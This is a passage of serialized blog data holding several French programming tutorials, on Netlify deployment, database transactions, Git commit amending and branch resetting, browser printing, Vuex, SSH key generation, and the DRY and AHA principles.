Si jamais il y a un soucis, vous aurez simplement à corriger ça dans votre dépôt local, à pousser la modification et un nouveau build se lancera !\n\n![](https://cellar-c2.services.clever-cloud.com/content/2021/07/Netlify-3.JPG)\n\n### Etape 6 : Tester l'application en live\n\nUne fois toutes les étapes précédentes terminées, vous pourrez avoir **accès à votre application avec une url** sous la forme :\n\nhttps://\\[keyword\\]-\\[keyword\\]-\\[hash\\].netlify.app/\n\n**Avec un certificat SSL valide ET hébergée derrière un CDN**, tout ça en quelques clics seulement. Bon déploiement !\n\n","Marre d'utiliser 4 services différents pour héberger le front de vos applications web ?","comment-heberger-une-application-web-avec-netlify","2021-07-10T20:40:56.000Z","2023-09-19T15:05:42.205Z","2021-07-15T07:08:35.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/07/xps-kLfkVa_4aXM-unsplash.jpg","XPS sur Unsplash","https://unsplash.com/@xps?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1702,"title":1703,"content":1704,"socialTitle":8,"description":1705,"socialDescription":8,"slug":1706,"createdAt":1707,"updatedAt":1708,"publishedAt":1709,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1710,"coverCopyright":1711,"coverCopyrightLink":1712},272,"Qu'est-ce qu'une transaction en base de données ?","Lorsque vous effectuez une requête à l'intérieur d'une base de données (SQL ou NoSQL, peu importe), cette requête va être exécutée, la base de données va être modifiée (ou non) et éventuellement vous retourner des données.\n\nSi jamais, pour X ou Y raison votre base de données rencontre un problème (logiciel, système, matériel ou d'ordre extérieur) à cet instant précis, **vous aurez alors à corriger l'incident avant de pouvoir continuer à utiliser vos données avec le dernier état connu.**\n\n> Disons avant votre dernière requête car l'incident a empêché la requête de finir de s'exécuter.\n\nThéoriquement (hors perte de données dues à l'incident), votre programme pourra être relancé et **fonctionner normalement.**\n\nImaginons désormais le même scénario, mais **sur une application plus critique comme un système de virements bancaires.**\n\n## Le scénario\n\nEn simplifiant au maximum le système de virement, disons que **chaque transfert d'argent nécessite au minimum deux opérations** :\n\n* Le **retrait** de l'argent envoyé sur le compte débiteur\n* L'**ajout** de l'argent reçu sur le compte créditeur\n\nCes deux opérations successives , représentées de manière logicielles par deux requêtes distinctes à la base de données introduisent **une possibilité de perte de l'intégrité des données contenues dans la base.**\n\nImaginons à nouveau que **notre serveur de base de données subisse un incident lors de l'opération**, il y a deux possibilités :\n\n* Soit l'un des comptes a reçu de l'argent mais **personne n'a été débité**, le système a donc virtuellement créé de l'argent.\n* Soit l'un des comptes à été débité mais **l'argent n'a jamais été reçu**, il a disparu.\n\nC'est impensable pour un système de gestion financière (mais pas seulement) de laisser la porte ouverte à un tel risque, c'est donc pour cette raison que **la majorité des systèmes de gestion de bases de données implémentent une fonctionnalité pour palier à ce problème : _les transactions._**\n\n## Les transactions\n\nPour comprendre ce mécanisme, il faut que nous revenions rapidement sur un autre concept plus général : l'atomicité.\n\n**L'origine du mot \"atome\" signifie \"insécable\"**, et en informatique on parle d'opérations atomiques lorsque plusieurs opérations sont réalisées **de manière séquentielles mais indissociables.**\n\nDans notre exemple précédent, c'est exactement ce genre d'opérations (atomiques) dont nous aurions besoin, que **le débit et le crédit ne puisse exister l'un sans l'autre.**\n\nEt bien pour effectuer un ensemble d'opérations atomiques dans une base de données, nous allons créer **une transaction qui va faire en sorte que l'intégrité des données soit conservée même en cas d'incident.**\n\n### Commit et rollback\n\nPour simplifier la compréhension, nous allons décomposer la création d'une transaction et des requêtes qu'elle contient en plusieurs étapes :\n\n* Création et configuration d'**une nouvelle transaction**\n* Création d'une **copie totale ou partielle de l'état actuel de la base (snapshot)** réservée à la transaction\n* Exécution de **plusieurs opérations atomiques** au sein de la transaction, sur les données du snapshot\n\nEt selon le résultat de l'exécution des opérations, deux solutions s'offrent à nous :\n\n* Si tout s'est bien passé, alors on demandera de \"**commit**\" le résultat des opérations, **le snapshot sera alors \"fusionné\" avec la base.**\n* Si un problème est survenu, alors on demandera un **rollback**, le snapshot sera supprimé et **aucune des opérations n'aura été exécutée sur la base de données**.\n\n**Bien sûr l'implémentation des transactions peut en réalité différer quelques peu de ce fonctionnement,** mais le principe général est le même et vous comprendrez donc son importance cruciale dans la gestion des données.\n\n## Pour aller plus loin\n\nPour les plus curieux et curieuses qui se demandent comment **plusieurs transactions concurrentes peuvent s'orchestrer et ne pas se marcher dessus**, je vous recommande cet article (en anglais) qui explique bien les différentes stratégies misent en place :\n\n::: bookmark\n[![](https://miro.medium.com/max/640/1*xySIZREWbrJXsAkkYUZ4Jw.jpeg)How does a database server handle thousands of concurrent requests? ](https://medium.com/how-the-web-works/how-does-a-database-server-handle-thousands-of-concurrent-requests-d54352310183?_branch_match_id=943086413441152623)\n:::\n\n","Un concept incontournable afin de conserver l'intégrité des données dans la base.","quest-ce-qu-une-transaction-en-base-de-donnees","2021-07-10T21:45:50.000Z","2023-09-22T13:59:34.506Z","2021-07-12T06:38:13.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/07/joseph-chan-uTFiFYeQhlI-unsplash.jpg","Joseph Chan sur Unsplash","https://unsplash.com/@yulokchan?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1714,"title":1715,"content":1716,"socialTitle":8,"description":1717,"socialDescription":8,"slug":1718,"createdAt":1719,"updatedAt":1720,"publishedAt":1721,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":1722,"coverCopyright":1723,"coverCopyrightLink":1724},276,"Git : Changer le message de votre dernier commit","Si vous utilisez Git régulièrement, alors **vous avez forcément déjà créé un commit contenant une faute d'orthographe**, ou bien avec un message ne correspondant pas vraiment aux modifications effectuées...\n\nSi c'est le cas, vous allez voir que modifier le message de votre dernier commit est un jeu d'enfant !\n\n## Comment faire ?\n\nLa commande ci-dessous va vous permettre de simplement modifier le dernier message de commit, dans **une interface d'édition de texte à l'intérieur de votre terminal** :\n\n```\n$ git commit --amend\n```\n\nDans le cas où vous auriez besoin de modifier les X derniers commits, alors **je vous conseillerais de les annuler pour les recréer**, toute la démarche est expliquée dans ce précédent article :\n\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2021/01/thought-catalog-TAzjNSkLvlA-unsplash.jpg)Annuler un ou plusieurs commit facilement avec Git - Nicolas Brondin-Bernard](https://code-garage.fr/blog/annuler-un-ou-plusieurs-commit-facilement-avec-git-reset-vs-revert/)\n:::\n\n### Si le commit a déjà été poussé sur le dépôt distant\n\nUn simple Git push ne suffirait pas à rafraichir le nouveau message de commit, car **l'historique du projet a été modifié en dehors du cycle classique de Git.**\n\nIl vous faudra donc ajouter une paramètre \"--force-with-lease\" qui vous permettra de **forcer la mise à jour, sans impacter les commits suivants** si ils sont déjà présents.\n\n```\n$ git push --force-with-lease\n```\n\n","Une erreur, une coquille ? Une commande simple pour corriger la situation !","git-changer-le-message-de-votre-dernier-commit","2021-07-23T20:41:59.000Z","2023-09-22T13:59:52.875Z","2021-07-26T10:08:34.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/07/jelleke-vanooteghem-kabtmcdcAbk-unsplash.jpg","Jelleke Vanooteghem sur Unsplash","https://unsplash.com/@ilumire?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1726,"title":1727,"content":1728,"socialTitle":8,"description":1729,"socialDescription":8,"slug":1730,"createdAt":1731,"updatedAt":1732,"publishedAt":1733,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":1734,"coverCopyright":1735,"coverCopyrightLink":1736},283,"Déclencher l'impression d'une page web en Javascript","Selon le public cible de votre application web, il se peut que vos utilisateurs demandent régulièrement à imprimer une ou plusieurs de vos pages.\n\n> Prenez le site des impôts par exemple, beaucoup d'utilisateurs vont vouloir imprimer leur page de reçu de paiement !\n\nNous allons découvrir aujourd'hui plusieurs astuces pour améliorer l'expérience lors de l'impression papier sur votre site :\n\n## Déclencher l'impression\n\nAu lieu de laisser l'utilisateur chercher dans les options de son navigateur la fonctionnalité d'impression, il vous est possible d'intégrer vous-même un bouton dans votre application pour déclencher l'impression avec la fonction native suivante :\n\n```\nwindow.print();\n```\n\n> Note : en faisant cela vous déclencherez la fenêtre d'impression native du navigateur, mais pas l'impression directement.\n\n## Afficher les images/couleurs de fonds\n\nIl se peut que vous découvriez que la page ne s'affiche pas correctement lors de l'aperçu avant impression, cela est dû au fait que pour économiser de l'encre, le navigateur cache automatiquement les images et certaines couleurs de fond.\n\nSi vous utilisez la méthode du background-image pour le positionnement de certaines images, alors ces dernières ne s'afficheront pas, à moins d'ajouter les deux propriétés suivantes dans votre css :\n\n```\n* {\n color-adjust: exact;\n -webkit-print-color-adjust: exact;\n}\n```\n\n## Modifier le style pour l'impression\n\nSelon le design, il y a de fortes chances pour que l'impression papier tel quel ne soit pas très lisible, par exemple à cause des ombres, de certaines couleurs,... ou bien qu'il y ait des éléments qui n'ai aucun intérêts à l'impression (liens, boutons, barre de navigation,...).\n\nHeureusement il existe une media query appelée \"print\" qui va vous permettre d'ajouter un style particulier pour modifier ou cacher certains éléments, uniquement lors de l'impression !\n\n```\n@media print {\n ...\n}\n```\n\n> Il existe aussi des évènements Javascript \"[onbeforeprint](https://www.w3schools.com/jsref/event_onbeforeprint.asp)\" et \"[onafterprint](https://www.w3schools.com/tags/ev_onafterprint.asp)\" qui peuvent être utilisés pour faire les mêmes choses, mais il est conseillé de les utiliser en dernier recours uniquement.\n\n## Éviter les sauts de pages\n\nLe rendu de l'impression étant directement lié à une taille spécifique de papier, il se peut que certains de vos éléments graphiques se retrouvent à cheval entre deux pages, faisant alors perdre la cohérence des informations.\n\nAvec la propriété \"break-inside\" en CSS, vous pouvez indiquer à votre navigateur d'éviter de couper tel ou tel élément graphique en deux, quitte à faire un saut de page prématuré :\n\n```\n.card {\n break-inside: avoid;\n}\n```\n\n","4 astuces pour améliorer les impressions papiers de votre application web.","declencher-l-impression-d-une-page-web-en-javascript","2021-08-04T15:54:37.000Z","2023-09-19T15:05:42.598Z","2021-08-10T07:39:32.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/08/museums-victoria-bat9Y6pSoTI-unsplash.jpg","Museums Victoria sur Unsplash","https://unsplash.com/@museumsvictoria?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1738,"title":1739,"content":1740,"socialTitle":8,"description":1741,"socialDescription":8,"slug":1742,"createdAt":1743,"updatedAt":1744,"publishedAt":1745,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":1746,"coverCopyright":1747,"coverCopyrightLink":1748},298,"Vuex : La différence entre actions et mutations","Lorsque l'on débute avec la gestion d'états d'une application avec Vuex, **certains concepts se ressemblent tellement que l'on peut vite s'y perdre.** C'est notamment le cas avec les actions et les mutations.\n\n**À première vue, les deux concepts se ressemblent et on l'air de pouvoir s'interchanger**, surtout lorsqu'on les rencontre sous cette forme là :\n\n```\n//store.js\n{\n ...\n mutations: {\n setUser(state, user) {\n state.user = user;\n },\n },\n actions: {\n setUser({ commit }, payload) { \n commit('setSession', payload);\n },\n }\n ...\n}\n```\n\n> La question se pose alors : Pourquoi est-ce que je ne commiterai pas directement les mutations depuis mes composants, au lieu de passer par des actions ?\n\n## La réponse\n\n### Les mutations\n\n**L'objectif des mutations et d'apporter des modifications atomiques au à l'état (state) du store.** Chaque mutation doit contenir un nombre réduit de modifications, **le moins de logique possible et doit absolument s'exécuter de manière synchrone.**\n\n> On va privilégier le fait de toujours d'exécuter (commit) les mutations à l'intérieur même du store, au sein des actions.\n\n### Les actions\n\nLes actions contiennent la logique du store, sont appelés par les composants, et surtout **coordonnent les appels aux mutations et d'éventuels appels asynchrones.**\n\nReprenons l'exemple précédent, mais avec un peu plus de logique cette fois :\n\n```\n//store.js\n{\n ...\n mutations: {\n setUser(state, user) {\n state.user = user;\n },\n setUserLoading(state, val) {\n \tstate.userLoading = val;\n }\n },\n actions: {\n async setUser({ commit, state }, payload) {\n if(state.user) return;\n commit('setUserLoading', true);\n try{\n const response = await fetch(..., payload);\n const userObject = await response.json();\n commit('setUser', userObject);\n } catch(e){\n ...\n } finally {\n commit('setUserLoading', false);\n }\n },\n }\n ...\n}\n```\n\n> Ici on se rend bien compte de la coordination des mutations par l'action, deux mutations différentes, appelées à différents points de l'exécution.\n\n## Conclusion\n\n**Les actions coordonnent les mutations** et gèrent la logique, tandis que **les mutations ne gèrent que la sérialisation** des données dans le store de manière atomique.\n\n","Dispatcher des actions, ou commit des mutations, telle est la question.","vuex-quelle-est-la-difference-entre-actions-et-mutations","2021-11-04T05:57:53.000Z","2023-09-19T15:05:43.011Z","2021-11-04T08:34:23.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/11/max-N2_oYBGScDQ-unsplash.jpg","Max sur Unsplash","https://unsplash.com/@notquitemax?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1750,"title":1751,"content":1752,"socialTitle":8,"description":1753,"socialDescription":8,"slug":1754,"createdAt":1755,"updatedAt":1756,"publishedAt":1757,"styleHead":8,"scriptFooter":1758,"seoTitle":8,"seoDescription":8,"legacyCover":1759,"coverCopyright":1760,"coverCopyrightLink":1761},302,"Générer des clés SSH sous Windows, Mac et Linux","Les clés SSH sont des éléments cryptographiques utilisés pour **chiffrer et déchiffrer des communications entre deux machines distantes** au travers du protocole  Secure SHell.\n\nChaque ensemble est toujours composé de deux clés distinctes :  **la clé publique et la clé privée, on parle donc couramment d'une \"paire de clés\".**\n\n## Pourquoi créer une paire de clé SSH\n\nDans le cas d'un client et d'un serveur, **on donne au serveur la clé publique, et le client conserve la clé privée.**\n\nDe cette manière, même si la clé publique est interceptée, **les informations encodées avec cette dernière ne pourraient pas être décodées, car cela requiert la clé privée.**\n\nLa majorité des fournisseurs d'hébergement (type VPS, dédié, etc...), ainsi que d'autres services en ligne **demandent aux utilisateur de fournir leurs clés, afin de pouvoir s'authentifier lors de la connexion SSH.**\n\n## Générer une paire de clés SSH avec PuTTYgen\n\nLe logiciel PuTTY est un client SSH permettant de se connecter à une machine distante, grâce à une interface graphique assez simple. L'avantage de PuTTY est qu'**il est open-source et même s'il a été créé pour Windows, il est également disponible sur Linux et MacOS.**\n\n> Mais le deuxième avantage de ce logiciel, est qu'il vient avec une petite suite d'utilitaires, **dont le logiciel PuTTYgen.**\n\nComme son nom l'indique, PuTTYgen va vous permettre de **générer des paires de clés SSH très facilement !** Nous allons voir comment faire.\n\n### Installer Putty et PuTTYgen\n\n**Pour MacOS**, il vous suffit de passer par HomeBrew (plus d'informations [ici](https://www.ssh.com/ssh/putty/mac/)) :\n\n```\nbrew install putty\n```\n\n**Pour Linux**, vous pouvez utiliser APT avec les distributions compatibles (plus d'informations [ici](https://numato.com/blog/how-to-install-putty-on-linux/)) :\n\n```\napt-get install putty putty-tools\n```\n\n**Et sous Windows** il vous suffit de vous rendre sur le site officiel : [https://www.putty.org/](https://www.putty.org/), de télécharger et d'exécuter l'installateur fourni.\n\n### Créer une paire de clés\n\nLa première étape est de lancer puttygen(.exe), qui se trouve dans le même dossier que l'exécutable de Putty. **Vous devriez voir apparaitre l'interface ci-dessous :**\n\n![](https://cellar-c2.services.clever-cloud.com/content/2021/11/image-1.png)\n\n**Ensuite, il vous suffira de cliquer sur le bouton \"Generate\" et de bouger votre souris dans l'espace blanc intitulé \"Key\"** pour générer des données aléatoires dont le logiciel a besoin pour créer la clé SSH.\n\n> En bougeant votre souris, vous générez de l'entropie. Si vous n'êtes pas familier avec le concept d'aléatoire en informatique, [lisez mon article à ce sujet](https://code-garage.fr/pourquoi-aleatoire-n-existe-pas-en-informatique/).\n\nÀ la fin de l'opération, **vous devriez voir la clé publique apparaitre** dans l'encart comme ci-dessous :\n\n![](https://cellar-c2.services.clever-cloud.com/content/2021/11/image-2.png)\n\n_Si vous souhaitez protéger votre clé privée par un mot de passe (recommandé), **il faudra ensuite remplir les champs \"Key passphrase\" et \"Confirm passphrase\".**_\n\nIl ne vous restera plus qu'à cliquez sur les boutons \"**Save public key**\" et \"**Save private key**\" afin de sauvegarder la paire de clés dans deux fichiers distincts !\n\n## Alternative : Générer une paire de clés SSH directement dans le terminal\n\nSi vous êtes sous Linux, Mac, ou que vous utilisez un terminal compatible Unix sous Windows, **il vous est possible d'utiliser un utilitaire déjà présent, appelé ssh-keygen.**\n\nPour générer une paire de clé, il vous suffira d'exécuter la commande suivante :\n\n```\nssh-keygen\n```\n\nPuis de répondre aux questions posées par l'outil (fichier, mot de passe,...) et vous pourrez **générer une clé SSH en un rien de temps, sans rien installer !**\n\n","Vous ne savez pas comment créer une paire de clé SSH (publique et privée), je vous explique comment faire !","comment-generer-des-cles-ssh-sous-windows-mac-et-linux","2021-11-15T07:59:42.000Z","2023-09-19T15:05:43.127Z","2021-11-15T09:30:24.000Z","\u003Clink rel=\"stylesheet\"\n href=\"//cdnjs.cloudflare.com/ajax/libs/highlight.js/10.0.0/styles/atom-one-dark.min.css\">\n\u003Cscript src=\"//cdnjs.cloudflare.com/ajax/libs/highlight.js/10.0.0/highlight.min.js\">\u003C/script>\n\u003Cscript>hljs.initHighlightingOnLoad();\u003C/script>\n\u003Cstyle>.post-full-content code {font-weight: bold !important;}\u003C/style>\n\n\u003Cstyle>\n .kg-image {\n border-radius: 5px;\n box-shadow: 0px 0px 10px 5px rgba(0,0,0,0.1);\n }\n\u003C/style>","https://cellar-c2.services.clever-cloud.com/content/2021/11/chunli-ju-8fs1X0JFgFE-unsplash.jpg","Chunli Ju sur Unsplash","https://unsplash.com/@chunlea?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1763,"title":1764,"content":1765,"socialTitle":8,"description":1766,"socialDescription":8,"slug":1767,"createdAt":1768,"updatedAt":1769,"publishedAt":1770,"styleHead":8,"scriptFooter":1771,"seoTitle":8,"seoDescription":8,"legacyCover":1772,"coverCopyright":1773,"coverCopyrightLink":1774},305,"Git : Réinitialiser une branche locale depuis l'origine","Parfois il arrive qu'après un _merge_ malencontreux ou un _pull_ de la mauvaise branche, **on se retrouve dans un état incohérent, ou du moins non désiré.**\n\nLa plupart du temps, **on peut revenir de quelques _commits_ en arrière** et corriger la version de notre branche actuelle.\n\n> Je vous explique la démarche dans [cet article sur git reset et git revert](https://code-garage.fr/blog/annuler-un-ou-plusieurs-commit-facilement-avec-git-reset-vs-revert/).\n\nMais parfois, on ne souhaite pas simplement annuler un commit, mais bel et bien **se resynchroniser complètement avec l'état actuel de notre branche sur le dépôt distant (remote).**\n\nPour se faire, rien de plus simple, il suffit d'utiliser la commande _git reset, mais au lieu d'indiquer un hash de commit, **cette fois nous allons pointer sur une branche distante, comme ceci :**_\n\n```\ngit reset --hard origin/[branch_name]\n```\n\nDans l'exemple ci-dessus, **\"origin\" désigne le nom donné au dépôt distant (remote)**, et \"branch\\_name\" correspond au nom de la branche à laquelle on veut se synchroniser.\n\nAttention, l'option \"--hard\" indique que toutes vos modifications locales (commits ou non sauvegardées), **seront perdues sans possibilité de revenir en arrière !**\n\n","La réponse à votre requête : \"git how to reset local branch to remote\" !","git-reinitialiser-un-branche-locale-depuis-le-depot-distant","2021-11-24T07:49:45.000Z","2023-09-19T15:05:43.214Z","2021-11-24T09:00:29.000Z","\u003Clink rel=\"stylesheet\"\n href=\"//cdnjs.cloudflare.com/ajax/libs/highlight.js/10.0.0/styles/atom-one-dark.min.css\">\n\u003Cscript src=\"//cdnjs.cloudflare.com/ajax/libs/highlight.js/10.0.0/highlight.min.js\">\u003C/script>\n\u003Cscript>hljs.initHighlightingOnLoad();\u003C/script>\n\u003Cstyle>.post-full-content code {font-weight: bold !important;}\u003C/style>\n\n\u003Cstyle>","https://cellar-c2.services.clever-cloud.com/content/2021/11/frederic-audet-7si3ETN9lp0-unsplash.jpg","Frederic Audet sur Unsplash","https://unsplash.com/@fredaudet?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1776,"title":1777,"content":1778,"socialTitle":8,"description":1779,"socialDescription":8,"slug":1780,"createdAt":1781,"updatedAt":1782,"publishedAt":1783,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":1784,"coverCopyright":1785,"coverCopyrightLink":1786},308,"Le principe «DRY», c'est quoi ?","En développement logiciel il existe **de nombreux principes de programmation permettant de garder un code fonctionnel, compréhensible et surtout maintenable.**\n\n> C'est ce que l'on appelle en général du code \"propre\".\n\n**L'un de ces principes s'appelle DRY (\"sec\" en anglais), c'est un acronyme qui signifie \"Don't Repeat Yourself\"** et même si son titre résume plutôt bien la chose, nous allons découvrir ce principe un peu plus en détails.\n\n## Le concept\n\nLe principe DRY a été introduit en 1999 par Andy Hunt et Dave Thomas dans leur livre \"[The Pragmatic Programmer](https://en.wikipedia.org/wiki/The_Pragmatic_Programmer)\" **qui rassemble de nombreux concepts et astuces pour produire de meilleurs logiciels.**\n\n> Ici meilleur ne veut pas forcément dire plus rapide, mais plus durable !\n\n**L'un des concepts de ce livre est donc la maxime \"Don't Repeat Yourself\"** ou \"Ne Te Répète Pas\" en français et deviendra l'un des plus célèbres principe en programmation.\n\n**L'objectif est d'éliminer (ou d'éviter) toute répétition superflue** dans un code appartenant à la même logique afin :\n\n* D'**optimiser** le code\n* Le rendre plus lisible, **compréhensible** et intuitif\n* D'**éviter les erreurs** dûes à la recopie\n* D'éviter les **oublis**\n* De **réduire le temps** de développement\n\nPour mettre en place ce principe, Hunt et Thomas s'appuient sur deux concepts importants : **L'abstraction et la normalisation de données.**\n\nEn créant suffisamment de couches d'abstraction (classes, fonctions), on sera capable de **baisser le nombre d'opérations logiques** différentes dans notre code, tandis que la normalisation des données offrira la possibilité de **passer par ces opérations existantes sans avoir à en créer de nouvelles !**\n\n> Mais quelques exemples, valent mieux qu'un long discours.\n\n## Exemples\n\n### Normalisation\n\nDans ce premier exemple très simple, nous avons deux classes distinctes qui **sont caractérisées par un certains nombre de propriétés en commun.** Nous allons donc normaliser ses données :\n\n```\nclass User {\n firstname = null;\n lastname = null;\n email = null;\n job = null;\n}\n\nclass Admin {\n firstname = null;\n lastname = null;\n email = null;\n roles = null;\n}\n```\n\nIci la normalisation passera par **un simple héritage :**\n\n```\nclass Account {\n firstname = null;\n lastname = null;\n email = null;\n}\n\nclass User extends Account {\n job = null;\n}\n\nclass Admin extends Account {\n roles = null;\n}\n```\n\nLa classe Account nous permet ici d'enlever toute redondance au code, **le résultat est plus lisible, plus court et nous permettra de n'écrire les futures méthodes communes à User et Admin qu'une seule fois !**\n\n### Abstraction\n\nReprenons notre classe User définie précédemment. Les contraintes métiers nous obligent à avoir deux méthodes distinctes :\n\n* Une pour inscrire un utilisateur uniquement avec son adresse e-mail\n* L'autre pour réinitialiser son profil (à l'exception de son e-mail), comme pour l'anonymiser\n\nVoici la version redondante du code :\n\n```\nclass User extends Account {\n \n //...\n\n save(){\n // Save this user somewhere\n }\n\n createFromEmailOnly(email){\n this.email = email;\n this.firstname = \"anonymous\";\n this.lastname = \"anonymous\";\n this.avatar = \"https://www.flaticon.com/free-icon/blank-user_16467\";\n this.job = \"unknown\";\n this.save();\n }\n\n resetProfile(){\n this.firstname = \"anonymous\";\n this.lastname = \"anonymous\";\n this.avatar = \"https://www.flaticon.com/free-icon/blank-user_16467\";\n this.job = \"unknown\";\n this.save();\n }\n\n // More functions...\n}\n```\n\nPuis la version DRY, dans laquelle la mécanique de réinitialisation des champs a été **rendue abstraite par une nouvelle méthode \"setDefaultFields\".**\n\n```\nclass User extends Account {\n \n //...\n \n save(){\n // Save this user somewhere\n }\n\n setDefaultFields(){\n this.firstname = \"anonymous\";\n this.lastname = \"anonymous\";\n this.avatar = \"https://www.flaticon.com/free-icon/blank-user_16467\";\n this.job = \"unknown\";\n }\n\n createFromEmailOnly(email){\n this.email = email;\n this.setDefaultFields();\n this.save();\n }\n\n resetProfile(){\n this.setDefaultFields();\n this.save();\n }\n\n // More functions...\n}\n```\n\n**En plus de rendre le code plus lisible, on facilite ici la maintenance** car on pourra facilement réinitialiser d'autres attributs de la classe, beaucoup plus facilement.\n\n**De plus, le nommage a rendu le fonctionnement du code plus clair**, car il fallait auparavant lire le contenu de chaque instruction pour comprendre qu'elles étaient identiques et qu'elles réinitialisaient les données.\n\n## En plus\n\nÀ savoir : Lorsque qu'un code ne respecte pas le principe DRY, **on parle alors parfois d'un code WET (Write Everything Twice).**\n\nMais attention, WET n'est pas un principe de programmation, **mais un surnom donné à une mauvaise mise en pratique de DRY.**\n\n","DRY signifie \"Don't Repeat Yourself\", mais que ce cache t'il derrière ce principe ?","le-principe-dry-c-est-quoi","2021-12-06T08:03:38.000Z","2023-09-19T15:05:43.322Z","2021-12-06T09:31:29.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/12/chester-ho-RLiIU16jdu4-unsplash.jpg","Chester Ho sur Unsplash","https://unsplash.com/@chesterho?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1788,"title":1789,"content":1790,"socialTitle":8,"description":1791,"socialDescription":8,"slug":1792,"createdAt":1793,"updatedAt":1794,"publishedAt":1795,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":1796,"coverCopyright":1797,"coverCopyrightLink":1798},316,"Découvrir le principe du «AHA Programming»","> J'ai récemment écrit un article pour présenter le concept de «[DRY Programming](https://code-garage.fr/le-principe-dry-c-est-quoi/)», que je vous invite à lire si ce n'est pas déjà fait.\n\n**En substance, un code «DRY» évite toute sorte de répétition de code** en regroupant les morceaux de codes similaires dans des abstractions (classes, fonctions, ...)\n\n## Les inconvénients du DRY\n\nEn théorie, il est difficile d'avancer que le \"Don't Repeat Yourself\" est un principe erroné, car **la répétition naïve de code est rarement quelque chose de souhaitable dans un projet.**\n\nNéanmoins, l'abstraction à outrance, ou simplement la mauvaise abstraction, **coûte plus cher que la répétition du code.**\n\n> C'est notamment ce qu'avance Sandi Metz dans son article \"[The Wrong Abstration](https://sandimetz.com/blog/2016/1/20/the-wrong-abstraction)\".\n\nUne mauvaise abstraction peut induire (dans le désordre) :\n\n* De la **complexité accidentelle**\n* Des fonctions/méthodes **trop lourdes ou incompréhensible**\n* Du code maintenu uniquement pour soutenir les tests, **même si une grosse partie n'est plus actuellement utilisée dans le logiciel**\n* [De l'aversion à la perte](https://fr.wikipedia.org/wiki/Aversion_pour_la_perte) quant au **risque de la suppression ou modification du-dit code**\n\n## Et le WET alors ?\n\nCertaines personnes, comme [Conlin Durbin](https://fr.wikipedia.org/wiki/Aversion_pour_la_perte), on essayé de donner du sens à l'inverse du DRY en \"créant\" le principe WET : **Write Everything Twice.**\n\nL'idée : Pour éviter l'abstraction inutile de code, s'autoriser à ré-écrire deux copies d'un même morceau de code, et **commencer à créer une abstraction à partir de la troisième version.**\n\nSi l'idée est charmante en théorie, elle conserve le même travers que son antonyme DRY, **c'est-à-dire qu'elle est dogmatique** et ne laisse pas suffisamment la place à la réflexion.\n\nOn ressent dans ces concepts, comme une odeur de \"[Cargo Cult](https://code-garage.fr/qu-est-ce-que-le-cargo-cult-dans-le-developpement-logiciel/)\" : **un principe devrait nous aider à réfléchir, pas se substituer à la réflexion.**\n\n## Le compromis : le AHA Programming\n\nC'est après avoir compris les contraintes des deux approches précédemment évoquées, que Kent C. Dodds est parvenu à introduire un nouveau concept prônant le meilleur des deux mondes : [**le AHA Programming**](https://kentcdodds.com/blog/aha-programming) (précédemment nommé MOIST, en référence à DRY et WET).\n\n> AHA signifie \"**Avoid Hasty Abstraction**\", soit \"Eviter les abstractions hatîves\" en Français\n\nIl se base sur le principe décrit précédemment par Sandi Metz :\n\n> \"prefer duplication over the wrong abstraction\"\n\nEn se basant sur le fait qu'on ne connait pas quel sera le futur du code que l'on est en train d'écrire, et qu'**il est contre-productif d'optimiser l'entièreté du code derrière des abstractions** qui devront peut-être complètement changer à cause de mauvaises assomptions, ou de changement de direction pour la logique métier, Kent suit une directive :\n\n> \"**Optimize for change first**\" ou \"D'abord optimiser pour changements\"\n\nQu'est-ce que cela signifie en réalité ?\n\nComme nous sommes dans l'inconnu face à l'avenir de notre code, Kent favorise la duplication **jusqu'à temps que l'on soit sûr et certains que ces morceaux de code peuvent (et doivent) effectivement être rendus abstraits.**\n\nLe risque de commencer l'abstraction trop tôt réside notamment dans le fait que pour chaque ligne, ressemblant de près ou de loin à quelque chose que vous avez déjà rendu abstrait, **alors vous essayerez de tordre (modifier) l'abstraction pour coller à votre cas d'usage.**\n\n**Et ceci, jusqu'à ce que votre fonction, censée simplifier le code, devienne en réalité illisible** à force de _refactor_ et d'ajouts de \"_if_\" à la chaine, pour prendre en compte tous les cas différents.\n\n## Exemple\n\nComme une ligne de code vaut mieux que mille mots, voici un exemple d'un code trop répétitif, la version DRY, et la version AHA :\n\n> À noter que ces exemples sont inspirés de [](https://www.youtube.com/watch?list=PLV5CVI1eNcJgNqzNwcs4UKrlJdhfDjshf&time_continue=1893&v=wuVy7rwkCfc&feature=emb_logo)[la présentation de Kent](https://www.youtube.com/watch?list=PLV5CVI1eNcJgNqzNwcs4UKrlJdhfDjshf&time_continue=1893&v=wuVy7rwkCfc&feature=emb_logo) C. Dodds pour l'évènement React Summit que je vous invite à regarder !\n\n### Base\n\n```\n// user-list.js\nconst name = user.name ? `${user.name.first.slice(0, 1)}. ${user.name.last}` : user.username ? `@ ${user.username}` : 'Anonymous';\nconsole.log(name);\n/*\n Possible Results : \n - J. Doe\n - @jdoe\n - Anonymous\n */\n\n// profile.js\nconst name = user.username ? `@ ${user.username}` : user.email;\nconsole.log(name);\n/*\n Possible Results : \n - @jdoe\n - jdoe@example.com\n */\n\n// navbar.js\nconst name = user.name ? `${user.name.first}. ${user.name.last}` : 'Anonymous';\nconsole.log('Hello', name);\n/*\n Possible 